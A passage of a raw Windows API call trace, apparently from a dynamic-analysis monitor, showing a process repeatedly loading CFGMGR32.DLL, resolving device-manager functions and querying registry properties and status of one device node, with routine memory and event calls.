| out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x3862b58e, dwHighDateTime=0x1d9eb0c)) [0209.079] SetEvent (hEvent=0x248) returned 1 [0209.080] SetEvent (hEvent=0x248) returned 1 [0209.081] free (_Block=0x20abc27cf80) [0209.081] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0209.081] malloc (_Size=0xac) returned 0x20abc284e70 [0209.081] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc284e70, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc284e70, pulLength=0x2dc22fd3f8) returned 0x0 [0209.082] free (_Block=0x20abc284e70) [0209.082] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3862b58e, dwHighDateTime=0x1d9eb0c)) [0209.082] SetEvent (hEvent=0x248) returned 1 [0209.082] malloc (_Size=0x18) returned 0x20abc281a00 [0209.083] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0209.083] free (_Block=0x20abc281a00) [0209.083] malloc (_Size=0x18) returned 0x20abc281cc0 [0209.083] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abbb0cbf8) returned 0x0 [0209.083] free (_Block=0x20abc281cc0) [0209.083] malloc (_Size=0x18) returned 0x20abc281a00 [0209.083] SafeArrayPutElement (psa=0x20abba803d0, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0209.083] free (_Block=0x20abc281a00) [0209.083] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bd70 [0209.083] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0209.083] SafeArrayGetLBound (in: psa=0x20abba803d0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0209.083] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0209.083] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba799d0 [0209.083] SafeArrayGetDim (psa=0x20abba803d0) returned 0x1 [0209.083] SafeArrayGetUBound (in: psa=0x20abba803d0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0209.083] SafeArrayGetElemsize (psa=0x20abba803d0) returned 0x8 [0209.083] SafeArrayGetElement (in: psa=0x20abba803d0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0209.084] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0209.084] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0209.084] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0209.085] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba799d0) returned 1 [0209.085] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bd70) returned 1 [0209.086] SetEvent (hEvent=0x248) returned 1 [0209.086] free (_Block=0x20abc27cf80) [0209.086] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0209.164] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x3871030d, dwHighDateTime=0x1d9eb0c)) [0209.179] SetEvent (hEvent=0x248) returned 1 [0209.200] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.200] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.200] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.203] malloc (_Size=0x18) returned 0x20abc281ea0 [0209.203] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.207] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.207] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3875c645, dwHighDateTime=0x1d9eb0c)) [0209.207] SetEvent (hEvent=0x248) returned 1 [0209.210] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.210] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.211] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.214] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.214] malloc (_Size=0x18) returned 0x20abc281960 [0209.214] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.215] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38782a8f, dwHighDateTime=0x1d9eb0c)) [0209.215] SetEvent (hEvent=0x248) returned 1 [0209.219] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.219] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.219] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.220] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.221] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.222] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.222] malloc (_Size=0x18) returned 0x20abc281ee0 [0209.222] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.222] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.223] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x38782a8f, dwHighDateTime=0x1d9eb0c)) [0209.223] SetEvent (hEvent=0x248) returned 1 [0209.226] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.226] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.229] malloc (_Size=0x18) returned 0x20abc2820a0 [0209.230] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.230] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x387a8ca4, dwHighDateTime=0x1d9eb0c)) [0209.230] SetEvent (hEvent=0x248) returned 1 [0209.234] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.235] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.238] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.238] malloc (_Size=0x18) returned 0x20abc281fa0 [0209.238] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2d, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0209.241] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.241] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x387a8ca4, dwHighDateTime=0x1d9eb0c)) [0209.241] SetEvent (hEvent=0x248) returned 1 [0209.489] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.489] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.489] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.490] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.491] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.492] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.493] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.493] malloc (_Size=0x18) returned 0x20abc281d80 [0209.493] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2d, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0209.494] malloc (_Size=0x48) returned 0x20abc27cf80 [0209.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x38a2ff71, dwHighDateTime=0x1d9eb0c)) [0209.494] SetEvent (hEvent=0x248) returned 1 [0209.500] malloc (_Size=0xd8) returned 0x20abc2867b0 [0209.500] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0209.500] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0209.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0209.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0209.501] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0209.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0209.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0209.502] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0209.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0209.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0209.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0209.503] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0209.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0209.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0209.504] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0209.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0209.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0209.505] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0209.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0209.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0209.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0209.506] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0209.507] malloc (_Size=0x18) returned 